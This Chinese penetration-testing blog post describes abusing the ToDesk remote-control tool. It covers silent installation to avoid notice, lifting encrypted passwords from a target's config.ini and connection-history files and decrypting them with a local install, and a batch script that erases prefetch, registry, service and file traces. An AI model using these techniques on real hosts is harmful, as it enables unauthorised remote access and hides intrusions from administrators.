前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ToDesk软件在渗透测试中的应用

ToDesk软件在渗透测试中的应用

作者头像
潇湘信安
发布2022-09-22 09:57:47
3.2K0
发布2022-09-22 09:57:47
举报
文章被收录于专栏:潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

之前我也分享过一篇"ToDesk软件在权限提升中的应用",记录的是在权限提升场景下的利用方式。

更多这类第三方远控软件的利用方式可参考之前发的系列文章,有向日葵、AnyDesk、TeamViewer等。

0x01 ToDesk简介

ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能。

有绿色精简版和全功能版两个版本,支持的系统有:

代码语言:javascript
复制
Winodws/Linux/MacOS/Android/iOS

0x02 如何实现命令行静默安装?

全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,那么有没有办法能够在命令下实现静默安装呢?

ToDesk文档中看到安装包ToDesk_Setup.exe的/S参数可以实现静默安装,但也会出现UAC弹窗,默认安装在以下目录中,安装完成后自动运行。

代码语言:javascript
复制
C:\Program Files (x86)\ToDesk\

0x03 场景1:解密目标连接密码

运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码。

代码语言:javascript
复制
[ConfigInfo]
localPort=35600
clientId=391***073
PrivateData=44492ab4e1ba3a207f0ed6ed08ebaee4688f35a3e4734c69140aabb51fe33ca8a046d8e494200fcdad17759e4aee4333ddaa63ee63289e277b
language=936
tempAuthPassEx=8d5e3b8d825e57297ea9ce36aca337cd0b592d54e26f00f311cd42207c2255d1b0a87595efd994d0efb658ce84494fa4814630817478
updatePassTime=20210701
authPassEx=874faa02bf500fb26bd91df9dd5af45ba7ed91568253f4cd04d6ca88c91d458707ad0879cd013dc0605ec63a3f60957e346e5a34af6a

既然ToDesk会将我们设置的安全密码进行加密,自然也就有解密了,否则密码将无法显示,所以完全可以利用ToDesk进行解密。当然,有能力的老哥也可以逆向加密算法来写解密程序。

实战测试中只需要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中的tempAuthPassEx,重启ToDesk即可得到明文密码。

0x04 场景2:获取历史连接记录

ToDesk连接一台主机后会在默认安装目录下生成一个json格式文件,在已登录状态和未登录状态的文件命名方式不太一样,但内容基本都差不多。

未登录状态:

代码语言:javascript
复制
C:\Program Files (x86)\ToDesk\userInfo.json

已登录状态:

代码语言:javascript
复制
C:\Program Files (x86)\ToDesk\devlist_493***344@qq.com.json

这个文件主要用于存储历史连接记录,只需找到UserId连接ID和PassEx密码,然后利用以上方式将PassEx解密得到明文,最后再用目标主机ToDesk的连接ID和密码连接即可。

代码语言:javascript
复制
{
   "DeviceInfo" : [
      {
         "Height" : 723,
         "LastPath" : "",
         "PassEx" : "19f57e6b81c752cffd786df2ebfbd590237d51d5575377766e6f830170b9d5dff2e1751739bf05084dbe2af6e629b8c0a380e17ab4c315",
         "PrivacyScreen" : 0,
         "Quality" : 0,
         "ResolutionX" : 0,
         "ResolutionY" : 0,
         "ScreenMode" : 0,
         "UserId" : "391***073",
         "Voice" : 0,
         "Width" : 1368
      }
   ]
}

注:测试中发现使用同一个密码在tempAuthPassEx、authPassEx和历史连接记录里的PassEx密文都不一样,但是这几个密文又都可以用ToDesk来解密,而且明文还都是123456,搞不太明白。

0x05 可能需要清理的痕迹

这里我们必须要先结束或停止ToDesk_Service进程/服务,否则ToDesk.exe进程会在结束后自动运行。

代码语言:javascript
复制
@echo off
taskkill /f /im ToDesk_Lite.exe /im ToDesk_Service.exe /im ToDesk.exe
del /s /q C:\Windows\Prefetch\TODESK*.pf
del /s /q C:\Users\Public\Desktop\ToDesk.lnk
del /s /q "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*TODESK*.lnk"
rmdir /s /q "C:\Program Files (x86)\ToDesk"
rmdir /s /q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ToDesk"
rmdir /s /q "%userprofile%\AppData\Local\ToDesk"
rmdir /s /q "C:\WINDOWS\SysWOW64\config\systemprofile\AppData\Local\ToDesk"
reg delete "HKLM\SOFTWARE\ToDesk" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\ToDesk_Service" /f
reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ToDesk" /f
sc delete ToDesk_Service
[...SNIP...]
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档